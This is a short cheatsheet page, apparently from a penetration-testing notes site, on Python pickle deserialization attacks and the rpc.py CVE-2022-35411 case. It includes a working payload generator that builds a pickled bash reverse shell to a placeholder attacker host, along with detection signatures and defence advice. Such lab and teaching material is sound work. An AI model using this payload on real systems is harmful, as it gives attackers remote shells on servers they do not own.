the_open_door
coffee
ESEN
← Back to index

Python Pickle Deserialization

Full command arsenal in the cheatsheet

Python's pickle module serializes objects to bytes and rebuilds them on deserialization. The problem is that pickle.loads() executes what the data tells it to: an object can define the __reduce__ method, which says what function to call (and with what arguments) when reconstructed. If an application deserializes attacker-controlled data, that's direct code execution.

The typical payload wraps a command in __reduce__ with os.system (or subprocess):

import pickle, os, base64
class RCE:
    def __reduce__(self):
        # SUID bash, or a reverse shell:
        cmd = "bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"
        return (os.system, (cmd,))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())   # base64 to drop into a cookie/parameter

It shows up in frameworks that accept pickle as a (de)serialization format. A well-known case is rpc.py 0.6.0 (CVE-2022-35411): the server picks the deserializer based on the serializer: pickle header, so sending a malicious pickle object to the endpoint yields RCE with the process's privileges (often root). If the service only listens on localhost, it's combined with port forwarding to reach it; the usual payload makes a shell SUID (SUID abuse) or fires a reverse shell.

Requirements. The application must call pickle.loads() (or pickle.load, pandas.read_pickle, joblib.load…) on data the attacker can influence: a cookie, a form field, an uploaded file, a queue message. If the serialized data never crosses a trust boundary (the server both produces and consumes it), there is no vector. You don't need to know the original class: __reduce__ runs on reconstruction whatever type was expected.

How to detect it. Pickle is binary, but it has a signature: a blob starting with the protocol opcodes (\x80\x04/\x80\x05, or the base64 prefixes gASV/gAR) inside a cookie, parameter or request body is suspicious; and opcodes like c__builtin__\nsystem/cposix\nsystem or cos\nsystem give away a malicious __reduce__. In the rpc.py case, the serializer: pickle header is the trigger. Host-side confirmation is the Python process spawning sh/bash/id as a child right after deserialization (auditd/Sysmon for Linux over execve with the interpreter as ppid).

Defence. Never deserialize pickle from an untrusted source. Use data formats without execution (JSON) or safe serializers, and sign/validate data before rebuilding it. Same principle as in Node.js deserialization and others: the format must not be able to invoke code.

Machines where it's used

  • PCProving Grounds Practice